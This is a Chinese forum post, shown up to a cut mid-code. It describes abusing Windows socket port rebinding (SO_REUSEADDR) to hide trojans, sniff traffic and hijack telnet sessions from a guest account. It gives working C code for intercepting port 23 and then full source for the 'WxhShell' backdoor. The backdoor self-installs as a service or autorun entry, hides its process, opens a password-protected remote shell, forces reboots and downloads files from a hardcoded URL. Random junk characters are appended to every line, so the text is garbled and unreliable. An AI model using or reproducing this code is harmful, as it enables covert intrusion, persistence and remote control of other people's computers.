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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DQ%bcXs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7QV@lR<C2R  
.)=T1^[hI  
  saddr.sin_family = AF_INET; Q^13KWvuV  
*Z}^T:3iw}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %87D(h!.I4  
RN:VsopL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "/H B#  
)gF>nNE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h,-2+}  
:&SvjJR  
  这意味着什么?意味着可以进行如下的攻击: p G|-<6WY  
~EIK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z`g4<  
V /i~IG`h/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cPaz-  
9dS<^E(ZF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cdd6*+E  
6sceymq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p+x}$&<|  
?e=3G4N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oF'_x,0  
pQ~Y7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E>LZw>^Y J  
;ctPe[5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *<HA])D,  
Pgug!![  
  #include `U4e]Qh/+  
  #include {7d(B1[1  
  #include <S[]VXy  
  #include    i ZU 1w7Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   unX mMSz(  
  int main() pW4O[v`  
  { xWRkg$A  
  WORD wVersionRequested; *2,tGZ  
  DWORD ret; 3R|Ub G`  
  WSADATA wsaData; n[[2<s*YJ  
  BOOL val; Y@(izC&h  
  SOCKADDR_IN saddr; gvzBV +3'  
  SOCKADDR_IN scaddr; B1^9mV'O  
  int err; r4MPs-}oF  
  SOCKET s; >o/+z18x  
  SOCKET sc; Q*jNJ^IW  
  int caddsize; `@<>"ff#F  
  HANDLE mt; kB#;s  
  DWORD tid;   %*bGW'Cw  
  wVersionRequested = MAKEWORD( 2, 2 ); ]g] ]\hS  
  err = WSAStartup( wVersionRequested, &wsaData ); }BYs.$7  
  if ( err != 0 ) { . E8Gj'yO  
  printf("error!WSAStartup failed!\n"); xg(* j[ff3  
  return -1; op8[8pt%  
  } E;1QD/E$  
  saddr.sin_family = AF_INET; m>FP&~2  
   4De2m iq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xaN[ru@  
M4H~]Ftn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r;n^\[Ov0,  
  saddr.sin_port = htons(23); :<p3L!?8y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1S{AGgls5  
  {  E\5Cf2Ox  
  printf("error!socket failed!\n"); )# os!Ns_A  
  return -1; tl6x@%\  
  } ]0o_- NI  
  val = TRUE; TI5<' U)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k,,Bf-?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D[p_uDIz  
  { 0{^ 0>H0  
  printf("error!setsockopt failed!\n"); qtR/K=^i  
  return -1; )U|0vr8:  
  } ~o8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R4_BP5+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d DrzO*a\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q<XleC  
fK/|0@B8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9P1!<6mN\  
  { :pJK Z2B,  
  ret=GetLastError(); T)#e=WcP]  
  printf("error!bind failed!\n"); a&z$4!wQB  
  return -1; OC6v%@xa  
  } uqHI/4  
  listen(s,2); 0<[g7BbR  
  while(1) d~abWBgC`  
  { \x=j  
  caddsize = sizeof(scaddr); Bo +Yu(|cL  
  //接受连接请求 vqhu%ZyP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pgw_F  
  if(sc!=INVALID_SOCKET) ?B32,AS@  
  { A$jf#,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A.+Qa  
  if(mt==NULL) #O1%k;BL  
  { mS?W+jy%  
  printf("Thread Creat Failed!\n"); 9,jFQb(),  
  break; G2 0   
  } ]?*'[  
  } wh2Ljskda8  
  CloseHandle(mt);  0`QF:  
  } GHR r+  
  closesocket(s); XXg~eu?  
  WSACleanup(); $tqr+1P  
  return 0; 4^GIQEjx  
  }   ]G}:cCpd+a  
  DWORD WINAPI ClientThread(LPVOID lpParam) " ?=$(7uc  
  { g/+|gHq^  
  SOCKET ss = (SOCKET)lpParam; X1XmaO% A  
  SOCKET sc; -|2k$W  
  unsigned char buf[4096]; s 9n_s=w  
  SOCKADDR_IN saddr; =3;~7bYO  
  long num; $DeVXW  
  DWORD val; h f{RI4Jc  
  DWORD ret; X?aj0# Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &HBC9Bx/(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9GgXX9K  
  saddr.sin_family = AF_INET; QB5,Vfoux  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @bIZ0tr4  
  saddr.sin_port = htons(23); bLSUF`-z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {k uC+~R  
  { P$v9  
  printf("error!socket failed!\n"); y=&^=Z h[  
  return -1; LI9 Uc\  
  } \Lg{GN.  
  val = 100; c[+uwO~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r7+Ytr  
  { G%MdZg&i  
  ret = GetLastError(); Z8I0v$LjR  
  return -1; B=)tq.Q7  
  } ih=O#f|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3H`r|R  
  { BIxjY!!"  
  ret = GetLastError(); m\f}?t  
  return -1; SnVb D<  
  } ~o27~R ]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VXO.S)v2J  
  { ]sD lZJX<M  
  printf("error!socket connect failed!\n"); O ]!/fZ;(  
  closesocket(sc); :yFmCLZaQ  
  closesocket(ss); l.uW>AoLh  
  return -1; m't8\fo^w  
  } rm%MQmF  
  while(1) s x2\  
  { +[":W?j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7|DPevrk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [5-3PuT&9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !bBx'  
  num = recv(ss,buf,4096,0); mvu$  
  if(num>0) y4%[^g~-  
  send(sc,buf,num,0); %\B@!4]  
  else if(num==0) M7.H;.?  
  break; ~j yl  
  num = recv(sc,buf,4096,0); \hD jZ  
  if(num>0) /Jc54d  
  send(ss,buf,num,0); )@_5}8  
  else if(num==0) vw*,_f  
  break; lZJbQ=K{  
  } A>C8whx  
  closesocket(ss); ,&LGAa  
  closesocket(sc); O4oI&i 7  
  return 0 ; jJ3dZ<#  
  } t_hr${  
^Is#_Z|  
Z$y~:bz  
========================================================== S\0?~l"}  
:+Tvq,/"  
下边附上一个代码,,WXhSHELL r:5u(2  
q|QkJr <  
========================================================== J3y4 D}  
<_#a%+5d  
#include "stdafx.h" 2h#_n'DV  
5GwzG<.\^_  
#include <stdio.h> bE1@RL  
#include <string.h> ^]TYS]C  
#include <windows.h> LvW7>-  
#include <winsock2.h> I(va;hG<o  
#include <winsvc.h> }{F1Cr   
#include <urlmon.h> g]9A?#GyE  
O0QK `F/)*  
#pragma comment (lib, "Ws2_32.lib") MNocXK  
#pragma comment (lib, "urlmon.lib") .9!?vz]1  
S?u@3PyJm  
#define MAX_USER   100 // 最大客户端连接数 cIg+^Tl  
#define BUF_SOCK   200 // sock buffer qsHjqK@(  
#define KEY_BUFF   255 // 输入 buffer ok/{ w  
#T08H,W/  
#define REBOOT     0   // 重启 QBLha']'%  
#define SHUTDOWN   1   // 关机 jfjT::f>l  
c=<5DC&p  
#define DEF_PORT   5000 // 监听端口 |g!3f  
:|N(:W>=$Y  
#define REG_LEN     16   // 注册表键长度 W$`p ,$.n  
#define SVC_LEN     80   // NT服务名长度 _$m1?DZ  
=-;J2Qlg6  
// 从dll定义API L+Q.y~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c4iGtW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @(any ^QJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dCO)"]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gUrXaD#  
a[7 Lqu  
// wxhshell配置信息 p* tAwl  
struct WSCFG { 6MmkEU z  
  int ws_port;         // 监听端口 5^Ps(8VbS  
  char ws_passstr[REG_LEN]; // 口令 &5Huv?^a'  
  int ws_autoins;       // 安装标记, 1=yes 0=no t{Z:N']H  
  char ws_regname[REG_LEN]; // 注册表键名 /EV _Y|(-  
  char ws_svcname[REG_LEN]; // 服务名 O_^;wey0}?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 frUO+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nE=,=K~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b|nh4g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Mcqym8,q|3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :NXM.@jJ="  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 et}%E9  
i7foZ\btFc  
}; 2Z7r ZjXW  
/yFs$t >9  
// default Wxhshell configuration 66|$X,  
struct WSCFG wscfg={DEF_PORT, C]NL9Gq`  
    "xuhuanlingzhe", 17+2`@vJgM  
    1, \pVWYx  
    "Wxhshell", yc.9CTxx  
    "Wxhshell", ab^>_xD<  
            "WxhShell Service", $m;DwlM  
    "Wrsky Windows CmdShell Service", b>f{o_  
    "Please Input Your Password: ", X^)v ZL?  
  1, qORRpWyx&  
  "http://www.wrsky.com/wxhshell.exe", Mc<O ~  
  "Wxhshell.exe" ObSRd$M  
    }; A3Oe=rB  
8Lr&-w8J  
// 消息定义模块 ~JG\b?s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qb?e A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; st wxF?\NS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1hW"#>f7  
char *msg_ws_ext="\n\rExit."; M7\yEi"*  
char *msg_ws_end="\n\rQuit."; MT{ovDA].  
char *msg_ws_boot="\n\rReboot..."; l G $s(  
char *msg_ws_poff="\n\rShutdown..."; #SqU>R  
char *msg_ws_down="\n\rSave to "; I3d!!L2ma  
PEPf=sm  
char *msg_ws_err="\n\rErr!"; v-!^a_3Ui  
char *msg_ws_ok="\n\rOK!"; Og<nnq  
!b8.XGo  
char ExeFile[MAX_PATH]; Q[MWzsx  
int nUser = 0; h9I vuv'  
HANDLE handles[MAX_USER]; ><H*T{ Pg  
int OsIsNt; UflS`  
.?)gn]#  
SERVICE_STATUS       serviceStatus; Wph@LRB]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mH /9J  
Z&Xp9"j,@;  
// 函数声明 WFG`-8_e[I  
int Install(void); (X~JTH:e/  
int Uninstall(void); G!.%Qqs  
int DownloadFile(char *sURL, SOCKET wsh); UHFI4{Wz  
int Boot(int flag);  r0,XR  
void HideProc(void); cc{^0JT  
int GetOsVer(void); BTDUT%Yfg  
int Wxhshell(SOCKET wsl); vY!'@W  
void TalkWithClient(void *cs); FS7@6I2Ts  
int CmdShell(SOCKET sock); pd}Cg'}X  
int StartFromService(void); MP$9W)  
int StartWxhshell(LPSTR lpCmdLine); ?C(3TKH  
uc]`^,`2/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \JbOT%1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9}jezLI/3  
nj6|WJ  
// 数据结构和表定义 .^V9XN{'a  
SERVICE_TABLE_ENTRY DispatchTable[] = R_2T"  
{  &sg~owz  
{wscfg.ws_svcname, NTServiceMain}, x`JhNAO>  
{NULL, NULL} !dGSZ|YZ  
}; Ft 6{g JBG  
?<STl-]&  
// 自我安装 SYwB #|  
int Install(void) GL'l "L  
{ Z~v-@  
  char svExeFile[MAX_PATH]; jW;g{5X  
  HKEY key; <3!Q Xc  
  strcpy(svExeFile,ExeFile); tO+Lf2Ni+  
0F9p'_C  
// 如果是win9x系统,修改注册表设为自启动 D8f4X w}=  
if(!OsIsNt) { si#1sdR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { raJv$P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >b2wFo/em  
  RegCloseKey(key); S(PU"}vZy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'w?}~D.y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,*CPG$L  
  RegCloseKey(key); <5o oML]nP  
  return 0; F}c}I8Ao  
    } /q5!p0fH*  
  } ):7mK03J  
} 'q\[aKEX=  
else { J=6( 4>  
KZGy&u >`  
// 如果是NT以上系统,安装为系统服务 rmJ`^6V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NM+ (ss'  
if (schSCManager!=0) Sy"!Q%+ |  
{ c0QKx=  
  SC_HANDLE schService = CreateService `Jn2(+  
  ( A.cNOous|  
  schSCManager, Td 5yRN! ?  
  wscfg.ws_svcname, $[V-M\q  
  wscfg.ws_svcdisp, PnZY%+[I  
  SERVICE_ALL_ACCESS, #AF.1;(k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _&e$?hY  
  SERVICE_AUTO_START, 7'.]fs:  
  SERVICE_ERROR_NORMAL, ^NXxMC( e+  
  svExeFile, ]h%~'8g,  
  NULL, *AJYSa,z  
  NULL, B3&C=*y  
  NULL, {ep.So6  
  NULL, )4^Sz&\  
  NULL S`pBEM  
  ); C_;A~iI7  
  if (schService!=0) szGGw  
  { Y(F>;/AA  
  CloseServiceHandle(schService); 4(&sw<k  
  CloseServiceHandle(schSCManager); "2Q*-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #+L:V&QE  
  strcat(svExeFile,wscfg.ws_svcname); ?H!QV;ku  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e[Jh7r>'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ..Bf-)w  
  RegCloseKey(key); rw.DKM'  
  return 0; rIeOli:<  
    } LC})aV|  
  } Wo{4*~f  
  CloseServiceHandle(schSCManager); nQ#NW8*Fs  
} #vzt6x@*  
} 6e%ZNw{#=  
=0mn6b9-=  
return 1; ?g4S51zpp  
} l7#2 e ORm  
5xhYOwQBo  
// 自我卸载 R5=M{  
int Uninstall(void) i2E@5 v=|Y  
{ v(;n|=O  
  HKEY key; `]F#j ]"  
88Vl1d&b  
if(!OsIsNt) { /YHnt-}v,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q9(Z9$a(\  
  RegDeleteValue(key,wscfg.ws_regname); BHt9$$Z|  
  RegCloseKey(key); La$?/\Dv)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BMb0Pu 8  
  RegDeleteValue(key,wscfg.ws_regname); g}$B4_sY  
  RegCloseKey(key); xwojjiV  
  return 0; oZ>2Tt%  
  } Rw^X5ByJE  
} O% 8>siU  
} Lum5Va%0  
else { ` 5SQ4  
WHcw5_3#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v;(k7  
if (schSCManager!=0) W1ql[DqE{  
{ bMGXx>x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yH0vESgv  
  if (schService!=0) S]?I7_  
  { 5%"sv+iO  
  if(DeleteService(schService)!=0) { m8Rt>DY  
  CloseServiceHandle(schService); Ge1"+:tbJ  
  CloseServiceHandle(schSCManager); ~cSE 9ul  
  return 0; <=%=,Yk  
  } HjY! ]!4p  
  CloseServiceHandle(schService); [I,s:mn  
  } DDe`Lb%%  
  CloseServiceHandle(schSCManager); Rbcu5.6  
} H@'u$qr$:  
} ~:99 )AOM  
Bh;N:{&^Eu  
return 1; O+t'E9Fa  
} {Rq5=/b  
G%>M@nYUE  
// 从指定url下载文件 |xrnLdng0R  
int DownloadFile(char *sURL, SOCKET wsh) |eqp3@Y1E  
{ |y4j:`@.  
  HRESULT hr; /L=Y8tDt  
char seps[]= "/"; as"@E>a  
char *token; @b{$s  
char *file; wZt2%+$6m  
char myURL[MAX_PATH]; \hP.Q;"MtO  
char myFILE[MAX_PATH]; 2FQTu*p&B  
{T3~js   
strcpy(myURL,sURL); 7GRPPh<4  
  token=strtok(myURL,seps); a}[rk*QmZ  
  while(token!=NULL) M/kBAxNIC|  
  { iUlSRfrC$#  
    file=token; ]{18-=  
  token=strtok(NULL,seps); x!fgZr{  
  } Esf\Bo"  
T=':$(t  
GetCurrentDirectory(MAX_PATH,myFILE); gw<u dhk  
strcat(myFILE, "\\"); P>'29$1'  
strcat(myFILE, file); lQpl8>  
  send(wsh,myFILE,strlen(myFILE),0); 4xgfm.9I^  
send(wsh,"...",3,0); vw :&c.zd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !ezy  v`  
  if(hr==S_OK) Ks-$([_F   
return 0; zGa V^X  
else ,,;vG6^a  
return 1; {Gw{W&<  
t(UdV  
} 04:QEC"9mj  
uG(XbDZZ1W  
// 系统电源模块 =d/$B!t{  
int Boot(int flag) P?Kg7m W  
{ XO}SPf-  
  HANDLE hToken; !UHX? <3r  
  TOKEN_PRIVILEGES tkp; yeA]j[ #  
fa!8+kfi  
  if(OsIsNt) { >^D5D%"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FY pspv?4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l_pf9 !z  
    tkp.PrivilegeCount = 1; Z9j`<VgN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G4uA&"OE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,; n[_f  
if(flag==REBOOT) { lD$\t/8B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,,G'Zur7  
  return 0; s3=sl WY=  
} r ?z}TtDp  
else { S7b7zJ8A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XV1XzG#C  
  return 0; zZP&`#TAy  
} .>p.k*vU  
  } R#!Urhh  
  else { 7,Y+FZ  
if(flag==REBOOT) { 7V&ly{</  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) luJNdA:t&  
  return 0; T$Z}1e]  
} G)&!f)6  
else { _po5j;"_O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rLA^ &P:  
  return 0; L$ZsNs+  
} rq:sy=;  
} `:Zgq+j&  
3|D.r-Q  
return 1; f{h2>nEj \  
} v.c.5@%%o  
*S'?u_Y7  
// win9x进程隐藏模块 h$p}/A  
void HideProc(void) oz7=1;r  
{ q oEZ>  
.x1.`Y   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tg7QX/KX  
  if ( hKernel != NULL ) _o==  
  { 9/{ 8Y&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A @e!~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u/%Z0`X  
    FreeLibrary(hKernel); a\KM^jrCD  
  } cCcJOhk|d  
zKThM#.Wa  
return; dw'P =8d  
} kArF Gb2c  
O;.DQ  
// 获取操作系统版本 " "S&zN  
int GetOsVer(void) G`f|#-}  
{ cbW=kQc_  
  OSVERSIONINFO winfo; qNUd "%S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VH] <o0  
  GetVersionEx(&winfo); HBA|NV3.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eF?jNO3  
  return 1; o;>qsn8  
  else +ZkJ{r0,(  
  return 0; IiV]lxiE]  
} QT4vjz+|  
6t gq.XL^n  
// 客户端句柄模块 a!.Y@o5Ku  
int Wxhshell(SOCKET wsl) k=X)ax t1  
{ z6fY_LL  
  SOCKET wsh; yF-`f _  
  struct sockaddr_in client; 3dgPP@7d$  
  DWORD myID;  KON^  
<3x:nH @  
  while(nUser<MAX_USER) (]-RL A>  
{ ES)_X:\X?V  
  int nSize=sizeof(client); eWXR #g!%>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); be [E^%  
  if(wsh==INVALID_SOCKET) return 1; @*WrHoa2N  
<2wC)l3j*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f DPLB[  
if(handles[nUser]==0) .f|)od[  
  closesocket(wsh); QiaBZAol  
else ktM7L{Nz  
  nUser++; tUGF8?& G  
  } J\Tu=f)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vnqLcNB H  
 3bHB$n  
  return 0; (W#^-*$R  
} %0vWyU:K9  
~SI G0U8  
// 关闭 socket ;8b!T -K  
void CloseIt(SOCKET wsh) 3!8u  
{ $5DlCN  
closesocket(wsh); fFXnD  
nUser--; 9&s>RJ  
ExitThread(0); J 2k4k  
} 28j/K=0(  
)GOio+{H  
// 客户端请求句柄 =+H,}  
void TalkWithClient(void *cs) Dy{lgT0k  
{ :W$- b  
-4obX  
  SOCKET wsh=(SOCKET)cs; 2`Ihrz6  
  char pwd[SVC_LEN]; ViU5l*n;  
  char cmd[KEY_BUFF]; <:!:7  
char chr[1]; PmtXD6p3(  
int i,j; Lc(eY{CY  
[{zfI`6  
  while (nUser < MAX_USER) { M3eFG@,  
bQdu=s[  
if(wscfg.ws_passstr) { Rpj{!Ia  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N9~'\O$'7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x#hSN|'"  
  //ZeroMemory(pwd,KEY_BUFF); [J55%N;#1  
      i=0; TV/EC#48  
  while(i<SVC_LEN) { >uFFTik  
whFJ]  
  // 设置超时 4ZkaH(a1  
  fd_set FdRead; Xm<|m#  
  struct timeval TimeOut; i"mQ  
  FD_ZERO(&FdRead); sAnb   
  FD_SET(wsh,&FdRead); }(K1=cEaL  
  TimeOut.tv_sec=8; UYzNaw4/x  
  TimeOut.tv_usec=0; w Ju9.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z}Um$'. =  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A.(e=;0bu  
p[}~Z|(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ao\Im(?  
  pwd=chr[0]; 8 EU/}Ym  
  if(chr[0]==0xd || chr[0]==0xa) { B?4Iu)bCxI  
  pwd=0; 5>hXqNjP2  
  break; @QE&D+NS  
  } VFKFO9  
  i++; D58RHgY[  
    } J|([(  
H%0WD_  
  // 如果是非法用户,关闭 socket yi2F#o 'K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  3CPSyF  
} E@-5L9eJ\  
Lz!H@)-mr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h+Y>\Cxg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u(8dsg R  
6#ktw)e  
while(1) { MjK<n[.  
4~2 9,  
  ZeroMemory(cmd,KEY_BUFF); t_+owiF)M  
B_RF)meux  
      // 自动支持客户端 telnet标准   &ViK9  
  j=0; fZQ2<*)pqO  
  while(j<KEY_BUFF) { Z6&bUZF$bE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cH707?p/I  
  cmd[j]=chr[0]; O^_CqT%  
  if(chr[0]==0xa || chr[0]==0xd) {  j}w  
  cmd[j]=0; ^FZ9q  
  break; +^%)QH>9   
  } KL"_h`UW  
  j++; 6q,CEm  
    } Y Azj>c&  
'Z)#SzY  
  // 下载文件 AYDAt5K_  
  if(strstr(cmd,"http://")) { +W8kMuM!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hm+VGH'H?  
  if(DownloadFile(cmd,wsh)) 2'Raj'2S4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }0]iS8*tL  
  else PGuPw'2;[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X_)x Fg'k  
  } >)k[085t  
  else { ""IPaNHQ  
/?a9g>G%N  
    switch(cmd[0]) { aO 2zD<d  
  )k]{FM  
  // 帮助 ]ZH6 .@|  
  case '?': { HcrlcxwM\i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4\j1+&W   
    break; Tq?f5swsI  
  } z>b^Ui0  
  // 安装 # wyjb:Ql  
  case 'i': { [}4\CWM  
    if(Install()) l-5O5|C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rl-#Ez  
    else cfy9wD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]hRs -x  
    break; L @J$kqWY  
    } UJjtDV3@_g  
  // 卸载 @c}Gw;e  
  case 'r': { }N:QB}7'_  
    if(Uninstall()) y,`q6(&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ygd*zy9  
    else b#n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U !%IC7@  
    break; Nh !U  
    } 4tSh.qBht  
  // 显示 wxhshell 所在路径 \w-3Spk*  
  case 'p': { oG-Eac,  
    char svExeFile[MAX_PATH]; pp2 Jy{\d  
    strcpy(svExeFile,"\n\r"); rddn"~lm1  
      strcat(svExeFile,ExeFile); 2}_^~8  
        send(wsh,svExeFile,strlen(svExeFile),0); M7#CMLy  
    break; 6=x]20  
    } hMgk+4*  
  // 重启 bPMf='F{r  
  case 'b': { SQN{/")T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <~e*YrJ?-  
    if(Boot(REBOOT)) 5f75r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xXJzE|)1h!  
    else { %Rf{v5  
    closesocket(wsh); u3DFgl3-7  
    ExitThread(0); g@ ]1H41  
    } d <zD@ z  
    break; BWr!K5w>i  
    } B)dd6R>8  
  // 关机 S+?*l4QK  
  case 'd': { |BO5<`&I  
